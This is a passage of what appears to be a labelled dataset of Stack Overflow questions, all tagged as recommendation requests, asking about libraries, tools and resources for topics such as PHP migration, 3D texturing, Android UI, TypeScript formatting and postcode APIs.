time I migrated from 5.5 to 5.6 I had a script which iterates over all files and outputs a list of suggestions to change, f.e. deprecated functions, new operators etc.<br>\nIs there something equal for php 7?</p>\n"},{"Classification":"Recommendation request","Title":"how to load dae model and apply texture","Body":"<p>I have the task: apply texture(example, in .png format) to 3D model(.dae). Simple usage : app -i \"dae file\" -t \"texture file\" and I get textured \"dae file\". I looked through many forums, but I did not understand how to solve this task. As I understood, the following steps must be taken: </p>\n\n<ol>\n<li>Load and parse model</li>\n<li>Load and parse texture</li>\n<li>Do UVUnwrap, add material and apply texture</li>\n<li>Export textured model</li>\n</ol>\n\n<p>Now:\ni wrote model loading and parsing(assimp library). I got vertices(position, normal, uvCoord), indices, textures;</p>\n\n<pre><code>struct Vertex\n{\n Vector3f position;\n Vector3f normal;\n Vector2f uvCoordinate;\n};\n\nstruct Texture\n{\n std::string type;\n aiString path;\n}; \n\nclass Mesh\n{\n std::vector&lt;Vertex&gt; _vertices;\n std::vector&lt;unsigned&gt; _indices;\n std::vector&lt;Texture&gt; _textures;\n ...\n}\n</code></pre>\n\n<p>But, I do not know how to work with the texture. how to apply it to the model, so that it would be:</p>\n\n<p>untextured model: <a href=\"http://i105.fastpic.ru/big/2018/0710/e6/7639a8bc500c212c96f3817d003ccee6.png\" rel=\"nofollow noreferrer\">http://i105.fastpic.ru/big/2018/0710/e6/7639a8bc500c212c96f3817d003ccee6.png</a></p>\n\n<p>texture: <a href=\"http://i104.fastpic.ru/big/2018/0710/f1/4b2fd3fd4b8142a84be687b1a6b868f1.jpg\" rel=\"nofollow noreferrer\">http://i104.fastpic.ru/big/2018/0710/f1/4b2fd3fd4b8142a84be687b1a6b868f1.jpg</a></p>\n\n<p>textured model(the model I want to get):\n<a href=\"http://i104.fastpic.ru/big/2018/0710/50/008fd7173b377f4f282057e4e56cb550.png\" rel=\"nofollow noreferrer\">http://i104.fastpic.ru/big/2018/0710/50/008fd7173b377f4f282057e4e56cb550.png</a></p>\n"},{"Classification":"Recommendation request","Title":"Does android cater for soming like a Checkbox group similar to the RadioButton group?","Body":"<p>Does android cater for something like a Checkbox group similar to the RadioButton group? For example, you check 2 option, something that can instantly tell will options were not checked , just like the RadioButton will do.</p>\n\n<p>What I am trying to achieve is is to get instant listener effect on select items and those not selected just as can be achieved on the RadioGroup. The difference here is that I am looking to achieve this this checkboxes</p>\n"},{"Classification":"Recommendation request","Title":"Exmple about how can I use DISOpticalFlow on emgucv 3.0?","Body":"<p>I have a problem using <code>DISOpticalFlow.Calc()</code> method. I'm <code>Emgu.CV.IInputOutputArray</code> variable to get the result of <code>DISOpticalFlow.Calc()</code> method, however the <code>Emgu.CV.IInputOutputArray.data</code> (\"CalFlow.data\" in the code below) is empty...!! </p>\n\n<p>Is there any example for using DISOpticalFlow class to obtain optical flow?</p>\n\n<pre><code>public partial class Form1 : Form\n{\n Image&lt;Bgr, byte&gt; inputColorImage_1;\n Image&lt;Bgr, byte&gt; inputColorImage_2;\n Image&lt;Gray, byte&gt; inputGrayImage_01;\n Image&lt;Gray, byte&gt; inputGrayImage_02;\n\n DISOpticalFlow OptiFlow = new DISOpticalFlow(DISOpticalFlow.Preset.Medium);\n Emgu.CV.IInputOutputArray CalFlow;\n\n\n public Form1()\n {\n InitializeComponent();\n OptiFlow.FinestScale = 0;\n OptiFlow.GradientDescentIterations = 10;\n OptiFlow.PatchSize = 12;\n }\n\n private void loadImageToolStripMenuItem_Click(object sender, EventArgs e)\n {\n // DISOpticalFlow Class\n\n OpenFileDialog ofd = new OpenFileDialog();\n if(ofd.ShowDialog()==DialogResult.OK)\n {\n inputColorImage_1 = new Emgu.CV.Image&lt;Bgr, byte&gt;(ofd.FileName);\n inputGrayImage_01 = inputColorImage_1.Convert&lt;Gray, byte&gt;();\n imageBox1.Image = inputColorImage_1;\n //imageBox1.Image = inputGrayImage_01;\n }\n }\n\n private void loadImage2ToolStripMenuItem_Click(object sender, EventArgs e)\n {\n OpenFileDialog ofd = new OpenFileDialog();\n if (ofd.ShowDialog() == DialogResult.OK)\n {\n inputColorImage_2 = new Emgu.CV.Image&lt;Bgr, byte&gt;(ofd.FileName);\n inputGrayImage_02 = inputColorImage_2.Convert&lt;Gray, byte&gt;();\n\n imageBox2.Image = inputColorImage_2;\n //imageBox2.Image = inputGrayImage_02;\n\n CalFlow = new Image&lt;Gray, byte&gt;(inputGrayImage_02.Width, inputGrayImage_02.Height);\n }\n }\n\n private void OptiFlowBot_01_Click(object sender, EventArgs e)\n {\n\n if (inputGrayImage_01 != null &amp;&amp; inputGrayImage_02 !=null)\n {\n OptiFlow.Calc(inputGrayImage_01, inputGrayImage_02, CalFlow); \n }\n }\n}\n</code></pre>\n"},{"Classification":"Recommendation request","Title":"Game engine that doesn&#39;t force oop","Body":"<p>I'm looking for a Java/c# game engine without built in oop, like allowing you to show graphics with built in function in the engine, not forcing you to create Sprite object, sound object, etc.. </p>\n"},{"Classification":"Recommendation request","Title":"Reformatting TypeScript source code","Body":"<p>We changed the code style in our Typescript project and now we have to change all source files, e.g. changing brace styles:</p>\n\n<pre><code>public function(a,b)\n{ return a; }\n</code></pre>\n\n<p>to</p>\n\n<pre><code>public function(a, b) {\n return a;\n}\n</code></pre>\n\n<p>I am currently looking for solutions on how to do this automatically. So far, I tried:</p>\n\n<ol>\n<li><p><a href=\"https://eslint.org/\" rel=\"nofollow noreferrer\">ESLint</a> can do this for JavaScript files, but I'm not so sure about Typescript files. <a href=\"https://github.com/nzakas/eslint-plugin-typescript#supported-rules\" rel=\"nofollow noreferrer\">eslint-plugin-tslint</a> does not seem to support many rules.</p></li>\n<li><p><a href=\"https://palantir.github.io/tslint/rules/\" rel=\"nofollow noreferrer\">TSLint</a> does not seem to support enforcing certain brace styles yet.</p></li>\n<li><p>I already installed the TSLint <a href=\"https://marketplace.visualstudio.com/items?itemName=eg2.tslint\" rel=\"nofollow noreferrer\">VSCode extension</a>, together with <a href=\"https://www.npmjs.com/package/tslint-eslint-rules\" rel=\"nofollow noreferrer\">tslint-eslint-rules</a> and it warns about incorrect brace styles, but the auto-fix option gets lost this way.</p></li>\n</ol>\n\n<p>It would be perfect if I could auto-fix all (auto-fixable) ESLint rules.</p>\n"},{"Classification":"Recommendation request","Title":"How to convert this formula to MATLAB COde","Body":"<p>I would really appreciate it if you can help me convert these formula to MATLAB.\n<img src=\"https://i.stack.imgur.com/h6asi.png\" alt=\"\"></p>\n"},{"Classification":"Recommendation request","Title":"Haskell for Imperative Programmers","Body":"<p>I've been using imperative languages for 20 years now :)</p>\n\n<p>I'm a beginner in haskell and I love the paradigm shift you feel when you come from imperative programming. I found interesting articles like :\n<a href=\"https://wiki.haskell.org/Haskell_IO_for_Imperative_Programmers\" rel=\"nofollow noreferrer\">https://wiki.haskell.org/Haskell_IO_for_Imperative_Programmers</a></p>\n\n<p>Do you have any other ressources like that ?\nI'm not looking for how to use haskell in imperative style (e.g. with \"do\" notation, ...) no no ! I'm looking articles who explain how NOT TO USE imperative style with haskell, and help thinking the paradigm shift ...</p>\n\n<p>Thanks :)</p>\n"},{"Classification":"Recommendation request","Title":"What do engineers use to develop TOSCA YAML template or TOSCA Cloud Service Archive (CSAR)","Body":"<p>Are there any open-source software or definitive guide to develop TOSCA YAML template or TOSCA Cloud Service Archive (CSAR).</p>\n\n<p><a href=\"http://docs.oasis-open.org/tosca/TOSCA-Simple-Profile-YAML/v1.1/csprd02/TOSCA-Simple-Profile-YAML-v1.1-csprd02.html\" rel=\"nofollow noreferrer\">http://docs.oasis-open.org/tosca/TOSCA-Simple-Profile-YAML/v1.1/csprd02/TOSCA-Simple-Profile-YAML-v1.1-csprd02.html</a></p>\n"},{"Classification":"Recommendation request","Title":"C#: How do I set web cam Exposure as an Auto after modifying the settings?","Body":"<p>I am able to set the Exposure manually using below code(<strong>cap.Exposure = -5;</strong>) and I want to set the Exposure as an Auto from my application after below function closed/terminated.\nBecause Exposure is reflecting for all Camera applications after closed below project.\nThanks in advance.</p>\n\n<pre><code>using OpenCvSharp;\n\npublic void StartCamera()\n{\nVideoCapture cap = new VideoCapture(0);\ncap.Set(3, 1920);\ncap.Set(4, 1080);\ncap.Exposure = -5;\nusing (Mat image = new Mat())\n{\n try\n {\n while (true)\n {\n cap.Read(image);\n if (image.Empty())\n break;\n var img = image.Clone();\n Bitmap bitmap = OpenCvSharp.Extensions.BitmapConverter.ToBitmap(img);\n BitmapImage bitmapImageObjSnapShot;\n bitmapImageObjSnapShot = bitmap.ToBitmapImage();\n videoPlayerImage.Source = bitmapImageObjSnapShot;\n img.Release();\n }\n }\n catch (Exception Ex)\n {\n\n }\n}\ncap.Release();\n}\n</code></pre>\n"},{"Classification":"Recommendation request","Title":"Firebase Chat App Image Upload","Body":"<p>Me and my team are trying to create a messaging app with image upload in the messagr app using firebase. Do you have any references on how we can upload an image in our chat application?</p>\n"},{"Classification":"Recommendation request","Title":"Book for shell scripting.","Body":"<p>I need suggestion to learn in detail about shell scripting. I want to be expertise on awk, grep and sed commands. That would be helpful for me to analyze my data. </p>\n"},{"Classification":"Recommendation request","Title":"How to make gif from 3d css cube","Body":"<p>I made dynamic 3d css cube from above link now I have to generate a gif of that cube.</p>\n\n<p>This is just simple html CSS code. Now I want to make gif through C#.\nI tried to take screenshot of different side and after that I converted to gif but I cannot take screenshot of an animated cube. When I capture the screenshot the cube shows in 2d not in 3d.</p>\n\n<p>How can I make a gif from animated dynamic 3d css cube?</p>\n\n<p>Here's the code:</p>\n\n<pre><code> &lt;!DOCTYPE html&gt;\n &lt;html&gt;\n\n &lt;head&gt;\n &lt;title&gt;3D CSS Animated Cube (Demo/Experiment)&lt;/title&gt;\n &lt;link rel=\"SHORTCUT ICON\" href=\"http://www.codicode.com/img/Codicode.ico\" \n type=\"image/x-icon\" /&gt;\n\n &lt;link rel=\"image_src\" \n href=\"http://www.codicode.com/demo/animated_3d_css_cube/\n animated_3d_css_cube_banner.jpg\" /&gt;\n&lt;meta property=\"og:image\" content=\"http://www.codicode.com/demo/animated_3d_css_cube/animated_3d_css_cube_banner.jpg\" /&gt;\n\n &lt;style&gt;\n @import url('http://fonts.googleapis.com/css?family=Open+Sans');\n\n body {\n font-family: \"Open Sans\", Arial, sans-serif;\n font-size: 16px;\n margin: 0px;\n }\n &lt;/style&gt;\n &lt;/head&gt;\n\n &lt;body&gt;\n &lt;div align=\"center\" style=\"direction: ltr;\"&gt;\n\n &lt;div class=\"wrap\"&gt;\n &lt;div class=\"cube\"&gt;\n &lt;div class=\"front\"&gt;\n &lt;img src=\"images.jpg\" /&gt;\n\n &lt;/div&gt;\n &lt;div class=\"back\"&gt;\n &lt;img src=\"animated_3d_css_cube_banner.jpg\" /&gt;\n &lt;/div&gt;\n &lt;div class=\"top\"&gt;\n &lt;img src=\"feature-box-2.jpg\" /&gt;\n &lt;/div&gt;\n &lt;div class=\"bottom\"&gt;\n &lt;img src=\"laptop-feature-box.png\" /&gt;\n &lt;/div&gt;\n &lt;div class=\"left\"&gt;\n &lt;img src=\"product-contain-img-camera.png\" /&gt;\n &lt;/div&gt;\n &lt;div class=\"right\"&gt;\n &lt;img src=\"smart-phone-feature-box.png\" /&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n\n &lt;style&gt;\n .wrap {\n margin-top: 150px;\n }\n .wrap img{\n height:100%;\n width:100%;\n }\n .cube {\n margin: auto;\n position: relative;\n height: 200px;\n width: 200px;\n transform-style: preserve-3d;\n }\n\n .cube div {\n position: absolute;\n box-sizing: border-box;\n height: 100%;\n width: 100%;\n opacity: 0.9;\n /*border: solid 1px #eee;*/\n color: #fff;\n font: 10px arial;\n transition: transform 0.2s ease-in;\n }\n\n .front {\n transform: translateZ(100px);\n }\n\n .back {\n transform: translateZ(-100px) rotateY(180deg);\n }\n\n .right {\n transform: rotateY(-270deg) translateX(100px);\n transform-origin: top right;\n }\n\n .left {\n transform: rotateY(270deg) translateX(-100px);\n transform-origin: center left;\n }\n\n .top {\n transform: rotateX(-270deg) translateY(-100px);\n transform-origin: top center;\n }\n\n .bottom {\n transform: rotateX(270deg) translateY(100px);\n transform-origin: bottom center;\n }\n\n @keyframes rotate {\n from {\n transform: rotateX(0deg) rotateY(0deg) \n }\n\n to {\n transform: rotateX(360deg) rotateY(360deg) \n }\n }\n\n .cube {\n animation: rotate 4s infinite linear;\n }\n\n &lt;/style&gt;\n &lt;/div&gt;\n\n &lt;/body&gt;\n &lt;/html&gt;\n</code></pre>\n"},{"Classification":"Recommendation request","Title":"Resources containing OCR benchmark test-sets for free","Body":"<p>I want to do an OCR benchmark for scanned text (typically any scan, i.e. A4). I was able to find some NEOCR datasets <a href=\"http://datasets.visionbib.com/\" rel=\"noreferrer\">here</a>, but NEOCR is not really what I want.</p>\n\n<p>I would appreciate links to sources of free databases that have appropriate images and the actual texts (contained in the images) referenced.</p>\n\n<p>I hope this thread will also be useful for other people doing OCR surfing for datasets, since I didn't find any good reference to such sources.</p>\n\n<p>Thanks! </p>\n"},{"Classification":"Recommendation request","Title":"Migrate NIM server (AIX) from power 7 to power 8 machine","Body":"<p>can anybody help me to migrate NIM server itself from one machine to another machine? how the steps to backup all the data in NIM ? thanks.</p>\n"},{"Classification":"Recommendation request","Title":"Whats the best way to maintain docs for projects using github pages","Body":"<p>Currently using <a href=\"https://docsify.js.org/#/\" rel=\"nofollow noreferrer\">docsify.js</a> for my documentation website: <a href=\"https://docs.circuitverse.org/#/\" rel=\"nofollow noreferrer\">CircuitVerse docs</a>. However it isn't good for SEO, does anyone know of any better alternatives.</p>\n"},{"Classification":"Recommendation request","Title":"How to implement hover intent in Angular 5?","Body":"<p>I have a scenario in which I need to implement Hover Intent in angular 5, can anyone please recommend some sort of library for that ?</p>\n"},{"Classification":"Recommendation request","Title":"How to split an order into 2 sub order by admin","Body":"<p>I want to add a custom button in admin panel(Order edit or view page) which will allow user to split orders into 2 sub order and then process them. </p>\n\n<p>Is it possible without using any extension?</p>\n\n<p>If yes, can I get some reference page link?</p>\n\n<p>Thanks in advance.</p>\n"},{"Classification":"Recommendation request","Title":"how fix exception or error caught in server resource?","Body":"<p>I have code Post JSON data to server in android, more and less i use code (<a href=\"https://trinitytuts.com/post-json-data-to-server-in-android/\" rel=\"nofollow noreferrer\">https://trinitytuts.com/post-json-data-to-server-in-android/</a>) from this site. Server can be response but the server can not process the data sent from android, but shows \"Exception or error caught in server resource\". But if i use restlet client, server can be process the data. What's wrong with this code?</p>\n\n<pre><code>public class MainActivity extends ActionBarActivity {\n\nButton bt;\nTextView txt;\n\n// Response\nString responseServer;\n\n@Override\nprotected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n setContentView(R.layout.activity_main);\n\n txt = (TextView) findViewById(R.id.raw);\n bt = (Button) findViewById(R.id.sendData);\n bt.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View view) {\n AsyncT asyncT = new AsyncT();\n asyncT.execute();\n }\n });\n}\n\n/* Inner class to get response */\nclass AsyncT extends AsyncTask&lt;Void, Void, Void&gt; {\n @Override\n protected Void doInBackground(Void... voids) {\n HttpClient httpclient = new DefaultHttpClient();\n HttpPost httppost = new HttpPost(\"http://xxx.xx.x.x:7070/main/stega/encode\");\n httppost.setHeader(\"Content-Type\",\"application/json\");\n\n try {\n\n JSONObject jsonobj = new JSONObject();\n\n jsonobj.put(\"username\", \"xco\");\n jsonobj.put(\"image\", \"based64\");\n jsonobj.put(\"key\", \"2\");\n jsonobj.put(\"message\", \"hello\");\n\n List&lt;NameValuePair&gt; nameValuePairs = new ArrayList&lt;NameValuePair&gt;();\n nameValuePairs.add(new BasicNameValuePair(\"req\", jsonobj.toString()));\n\n Log.e(\"mainToPost\", \"mainToPost\" + nameValuePairs.toString());\n\n // Use UrlEncodedFormEntity to send in proper format which we need\n httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));\n\n // Execute HTTP Post Request\n HttpResponse response = httpclient.execute(httppost);\n InputStream inputStream = response.getEntity().getContent();\n InputStreamToStringExample str = new InputStreamToStringExample();\n responseServer = str.getStringFromInputStream(inputStream);\n Log.e(\"response\", \"response -----\" + responseServer);\n\n\n } catch (Exception e) {\n e.printStackTrace();\n }\n return null;\n }\n\n @Override\n protected void onPostExecute(Void aVoid) {\n super.onPostExecute(aVoid);\n\n txt.setText(responseServer);\n }\n}\n\npublic static class InputStreamToStringExample {\n\n public static void main(String[] args) throws IOException {\n\n // intilize an InputStream\n InputStream is =\n new ByteArrayInputStream(\"file content..blah blah\".getBytes());\n\n String result = getStringFromInputStream(is);\n\n System.out.println(result);\n System.out.println(\"Done\");\n\n }\n\n // convert InputStream to String\n private static String getStringFromInputStream(InputStream is) {\n\n BufferedReader br = null;\n StringBuilder sb = new StringBuilder();\n\n String line;\n try {\n\n br = new BufferedReader(new InputStreamReader(is));\n while ((line = br.readLine()) != null) {\n sb.append(line);\n }\n\n } catch (IOException e) {\n e.printStackTrace();\n } finally {\n if (br != null) {\n try {\n br.close();\n } catch (IOException e) {\n e.printStackTrace();\n }\n }\n }\n return sb.toString();\n }\n\n}\n</code></pre>\n\n<p>}</p>\n"},{"Classification":"Recommendation request","Title":"Database for postal codes across the world","Body":"<p>We want to find the user location according the to the postal code which he/she has entered in the form.</p>\n\n<p>Is there any such database, which has the full set of postal codes, location address?</p>\n\n<p>We have tried with <strong>Geonames</strong> database, but it doesn't have the full postal code for few countries like Cananda, Brazil etc.</p>\n\n<p>Could you please help me on this?</p>\n"},{"Classification":"Recommendation request","Title":"Diagram UML into Visual Basic 6.0","Body":"<p>Is there a tool in Microsoft Visual Basic 6.0 that allows you to derive flowcharts from the code?\nA list of the methods involved would be enough for me too.</p>\n\n<p>I've tried VBDepend but it has limits in not showing the methods in the sub-calls.</p>\n"},{"Classification":"Recommendation request","Title":"Online volunteering in the field of programming.","Body":"<p>i hope i write this at the right place.\nSo i am about to start college in the field of computer science. I have finished high school(electrical engineering). And i was wondering if is possible to find a volunteering job online, just to gain some experience and learn stuff. </p>\n"},{"Classification":"Recommendation request","Title":"The best guide it may be either website/textbook that would completly understand how Yii framework works internally except YII1.1 Documentation","Body":"<p>How to i learn the Yii1.1 framework ?\ncomplete functionality\nAny textbook suggested??</p>\n"},{"Classification":"Recommendation request","Title":"Recommend me a way to create gmail like email view","Body":"<p>Could any one help me creating email view. I am bit confused whether to use a tags in table or a tags in list view ... Could any one give an example to do so. \n<img src=\"https://i.stack.imgur.com/KhlfG.png\" alt=\"enter image description here\"></p>\n\n<p>I want to fetch email from database and display it like email come in gmail.</p>\n\n<p>I am using bootstrap 4. please advice</p>\n\n<p>Thanks\nS</p>\n"},{"Classification":"Recommendation request","Title":"Create Computer Adaptive Test in Python or R, Where to start from","Body":"<p>I want to create <strong>Computer Adaptive Test</strong> which analyse ability of student. I am also not sure about the platform, there is confusion between <strong>R</strong> and <strong>Python</strong></p>\n\n<p>I read some document but they are suggesting different ways and libraries. Please suggest me a best way to start developing CAT.</p>\n"},{"Classification":"Recommendation request","Title":"Design Tool for Xamarin Forms PCL XAML?","Body":"<p>With VS2017, is there a design tool available to design traditional XAML pages in a Xamarin Forms PCL? E.G. forms with a XAML header starting with:</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\" ?&gt; \n&lt;ContentPage xmlns=\"http://xamarin.com/schemas/2014/forms\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2009/xaml\"&gt;\n</code></pre>\n"},{"Classification":"Recommendation request","Title":"Is the a service where I can pass a URL to a JSON clean-up API and have it sent back to me properly formatted?","Body":"<p>I have a URL from somewhere that I can't control. It brings back a page of JSON:</p>\n\n<p><strong><a href=\"https://www.blah.com/stuff.php?output=json\" rel=\"nofollow noreferrer\">https://www.blah.com/stuff.php?output=json</a></strong></p>\n\n<p>The problem is that this JSON is not printed in a \"pretty\" way. Spaces and line breaks are in the wrong places. It just is hard to read.</p>\n\n<p>Is there a JSON API service out that that takes a URL in and prints back pretty and formatted JSON automatically? Example:</p>\n\n<p><strong><a href=\"https://www.prettyprintjson.com/\" rel=\"nofollow noreferrer\">https://www.prettyprintjson.com/</a>\nPOST:\n&amp;url=\"www.blah.com/stuff.php?output=json\"</strong></p>\n\n<p>Or something like that...</p>\n\n<p>Is there any known service that does this? It would also need to validate the JSON at the same time if possible.</p>\n"},{"Classification":"Recommendation request","Title":"Images repository integration for Dynamics CRM v8","Body":"<p>You may know that Dynamics CRM doesn't come with a built-in functionality that allows you to upload an image into the cloud so you can send an Email activity with an image in it since it needs to be hosted to be viewed by your Customers. </p>\n\n<p>Is there a good solution that I can make use of? I thought about Sharepoint however it will ask for authentication I believe? </p>\n\n<p>Any help is welcome. </p>\n\n<p>Thanks</p>\n"},{"Classification":"Recommendation request","Title":"Ethereum Transaction Dataset for analysis","Body":"<p>I am trying to get all transaction data for a specific block on the Ethereum blockchain.</p>\n\n<p>Is there a good python api / resource that could achieve this? I'm trying to download the data for specific blocks to anlayze, and can't find a suitable csv file to download.</p>\n"},{"Classification":"Recommendation request","Title":"How can I generate a chart on Nodejs?","Body":"<p>I want to generate a excel with a chart on it. I've tried the option called xlsx-chart but it won't have support anymore... What other option exists?</p>\n\n<p>Here one bug that has xlsx-chart <a href=\"https://stackoverflow.com/questions/51228075/xlsx-chart-cannot-graphic-simple-json\">XLSX-CHART cannot graphic simple JSON</a></p>\n\n<p>I'd like to find another option. Some one know another?</p>\n\n<p>Thank you :)!</p>\n"},{"Classification":"Recommendation request","Title":"JavaScript Tutorials","Body":"<p>Apologies if this is in the incorrect topic (my first time on stack over flow).</p>\n\n<p>I have been trying to learn JavaScript on freeCodeCamp, but I feel as if I’m not getting anywhere because it doesn’t seem to teach me how it actually applies to a webpage. It teaches me about variables, functions, mathematical operates etc but I think I need to visually see how that effects a website.</p>\n\n<p>If anyone knows a tutorial where I’d be able too see what the JavaScript code is doing I’d greatly appreciate it!! </p>\n\n<p>Cheers</p>\n"},{"Classification":"Recommendation request","Title":"Tools for develop plug ins for maya","Body":"<p>I have been learning python and developing for maya, but I have been using the script editor in maya.</p>\n\n<p>Which tools should I use to develop for maya?</p>\n"},{"Classification":"Recommendation request","Title":"Are there any cross platform free tools for screen sharing that work?","Body":"<p>I can't find a good program for screen sharing, really</p>\n\n<p>Cross platform. Windows, Mac and Linux, not just Win+Mac, free, simple and user friendly.</p>\n"},{"Classification":"Recommendation request","Title":"Does a library similar to SitePrism in Ruby exist for Cucumber Selenium Java?","Body":"<p>I've been automating websites for a while using Cucumber with SitePrism and Ruby and it's been really straight forward to map web element to different part of the page (aka, sections, elements). </p>\n\n<p>I just joined a new company and they want to use a Cucumber-Java framework instead. I've been using PageFactory for a while to map web elements, but not sure if it doesn't provide that functionality or I'm not using it correctly just yet, for example, in a list of search results. I'd like to map the reasult of each row to a different section and then inside one of those sections, pick the title element that I'd like to access with a simple syntax from the test like:</p>\n\n<pre><code>section[0].title\n</code></pre>\n\n<p>Is there any tool that helps this in Java web automation? or failing that, any idea about how to do this in an efficient way?</p>\n"},{"Classification":"Recommendation request","Title":"I need a library to work with theanos or keras or tensorflow for java","Body":"<p>I need to work with DL in java</p>\n\n<p>most people recommends DL4J but I cant get my hands on the .jars itself so I am looking for alternatives that doesn't require me to set up a maven project</p>\n\n<p>Thanks in advance for any suggestion</p>\n"},{"Classification":"Recommendation request","Title":"First time on ReactJS","Body":"<p>Hey I'm learning <code>ReactJs</code> these days. As a starter, I don't know which extensions might be useful. I'm working on <code>VS Code</code>. By default its giving me these types of syntax errors:\n<a href=\"https://i.stack.imgur.com/lwKfz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lwKfz.png\" alt=\"enter image description here\"></a></p>\n\n<p>Can someone recommend me some useful extensions for React on VS Code?</p>\n"},{"Classification":"Recommendation request","Title":"How to estimate cost and time for migration of Drupal 7 to Drupal 8","Body":"<p>Modules helping to estimate cost and time for migration of Drupal 7 to Drupal 8</p>\n"},{"Classification":"Recommendation request","Title":"Remove unused and duplicated CSS in angularjs","Body":"<p>I am working on a huge spa, which uses angularjs, and now there are a lot of duplicated and unused CSS code spread. My doubts are:</p>\n\n<ol>\n<li>Is there any way to detect all of this duplicated and unused CSS\ncode considering the angularjs and different HTML files? </li>\n<li>Is it\npossible to detect all the CSS selectors from HTML file + angularjs\ncode in javascript and HTML?</li>\n</ol>\n"},{"Classification":"Recommendation request","Title":"Live text editor plugin than can work across the Chinese firewall","Body":"<p>I am looking for a Live text editor tool (preferably open source) than can work across the Chinese firewall.</p>\n\n<p>I was originally using <a href=\"https://firepad.io/\" rel=\"nofollow noreferrer\">Firepad</a> which worked great for the purpose (in regards to functionality), but it sadly does not work in China.</p>\n\n<p><strong>Does anyone know a Live text editor similar to Firepad that works in and out of China?</strong></p>\n"},{"Classification":"Recommendation request","Title":"Look up every file and list their owner in linux command line","Body":"<p>I'm looking for a command in Linux that will look through every directory to find all the files on the machine and list their owner. I'm trying to see who owns the most files, who owns the least, etc. </p>\n\n<p>This will be run from the root directory but look through every directory on the machine, and the ultimate goal will be to load the results into an excel sheet or something similar in order to derive the metrics I need.</p>\n\n<p>Where should I look? What commands should I research, etc.</p>\n\n<p>Thanks for any help!</p>\n"},{"Classification":"Recommendation request","Title":"What are the best bulk email sending tool along with follow-ups?","Body":"<p>I am part of AeroLeads and we are seeking for a tool which sends bulk email and also has the feature of auto follow-up.</p>\n\n<p>Also, if there is any tool which can optimize email marketing then do suggest me.</p>\n\n<p>Thanks,</p>\n"},{"Classification":"Recommendation request","Title":"Any Open Source PHP Website similar to JustDial or Indiamart","Body":"<p>Looking for Open source website on PHP that will search based on the Keywords provided by the user and return a set of result based on the near by location. Just like Justdial.</p>\n"},{"Classification":"Recommendation request","Title":"How to test a GraphQl API?","Body":"<p>I need to write a functional test suite (that will test a GraphQl API). The test suite will be in a separate repo and container from the API. </p>\n\n<p>One approach I thought of would be to use a BDD framework within the test suite. The suite would run all the BDD tests after receiving a HTTP request. </p>\n\n<p>I was considering using Cucumber.js as the BDD framework. I know there is <code>npm test</code>. I am not sure how I will execute the tests. It feels a bit awkward to use a unit testing framework in this way. Does this approach make sense? </p>\n\n<p>What tooling exists to do something like this? I am open to consider various languages and tools. </p>\n"},{"Classification":"Recommendation request","Title":"DevOps Continues Delivery Project Member","Body":"<p>The old DevOps services had a Managing Project ability, which enabled owners and administrators to specify whether team members could modify the code. Does the new DevOps Continuous Delivery service have this ability? </p>\n"},{"Classification":"Recommendation request","Title":"Json to kotlin data classes","Body":"<p>Is there existing service for generating kotlin data classes from json model in the way how it works on <a href=\"http://www.jsonschema2pojo.org/\" rel=\"noreferrer\">http://www.jsonschema2pojo.org/</a> site? My new project has over complicated API responses, so it would save me time.</p>\n"},{"Classification":"Recommendation request","Title":"aws greengrass with esp32","Body":"<p>I want to connect my esp32 with aws Greengrass. \nI have tried following platform </p>\n\n<ol>\n<li>Zerynth</li>\n<li>Mongoose OS</li>\n<li>Aws freeRTOS</li>\n</ol>\n\n<p>I don't want to use the above-mentioned platform due to some reason.\nCan someone guide me, what are the alternative platform for esp32 with aws Greengrass. </p>\n"},{"Classification":"Recommendation request","Title":"Does Chaos Monkey Work With Kubernetes (GCP).?","Body":"<p>I have a Kubernetes cluster in Google Cloud Platform build via Kops. Now I am planning to deploy Chaos Monkey on my Kubernetes cluster to check the resiliency of our system. Does Chaos Monkey work in Google Cloud Platform.? Or its only work in AWS.? I have already tested some Choas Monkey yaml's in my Kunenetes test cluster(GCP), but unfortunately, it's not working. Any help will be appreciated.</p>\n"},{"Classification":"Recommendation request","Title":"PDF Librairies for Symfony 4","Body":"<p>I search a PDF Library for Symfony 4.<br>\nMy Symfony's project is an API so I don't use TWIG template</p>\n"},{"Classification":"Recommendation request","Title":"Android PDF SDK View, search and zoom","Body":"<p>I would like to know if there are any free to use libraries for search text, find text and zoom in to it, in a pdf file. </p>\n\n<p>I have found only this one:</p>\n\n<p><a href=\"https://www.qoppa.com/android/pdfsdk/buy/\" rel=\"nofollow noreferrer\">https://www.qoppa.com/android/pdfsdk/buy/</a>\nbut it costs me 6000$ for the first year.</p>\n"},{"Classification":"Recommendation request","Title":"Benefits of using Django framework over Zend framework?","Body":"<p>I have an existing system based on the Zend framework, but now I want to move that to a better one in terms of Security, Optimization, Robust, Reliability, Performance and cost.</p>\n\n<p>I choose Django to move on with the language Python to make it. Its a website.</p>\n\n<p>Please tell me if it gonna make any difference or not, if yes then how.</p>\n\n<p>Or if you have any other suggestions to do that then, please. Thanks</p>\n"},{"Classification":"Recommendation request","Title":"Find Uk postcode api","Body":"<p>My question is that i want to get the uk postcode when i enter any radius up to 10 km any api suggest me paid or free i tried please any one help me to solve this issues i found few of apis but some are giving only 10 postcodes and some are giving up to 3 4 km \ni implement ideal-postcode but this api given 1000 m but i want covered radius 10km \ni implement geoname api but its giving only 30 radius.But\ni don't know what api i used to slove this problem \nso any one use this api already so guide me or sent me link i will be thankfull to you </p>\n"},{"Classification":"Recommendation request","Title":"How can I access a high quality hardware image down-scaler on Android","Body":"<p>I am developing an Android app with a user interface that is entirely comprised of bitmaps. To ensure the user interface looks great on any device, I am starting with high resolution bitmaps and down-scaling them based on the display resolution.</p>\n\n<p>Using TCanvas's DrawBitmap is hardware accelerated, but the down-scaling quality is really bad compared to a software bicubic scaler, see:<br>\n<a href=\"https://stackoverflow.com/questions/51157715/low-quality-downscale-interpolation-when-using-a-gpu-canvas-and-tcanvas-drawbitm\">Low quality downscale interpolation when using a GPU canvas and TCanvas.DrawBitmap</a></p>\n\n<p>Is there a method to perform a high quality, faster than software, hardware accelerated image down-scaling using Delphi on Android?</p>\n\n<p>Notes:<br>\n1. Setting the Form's quality to HighQuality, doesn't make a difference when down-scaling.<br>\n2. The 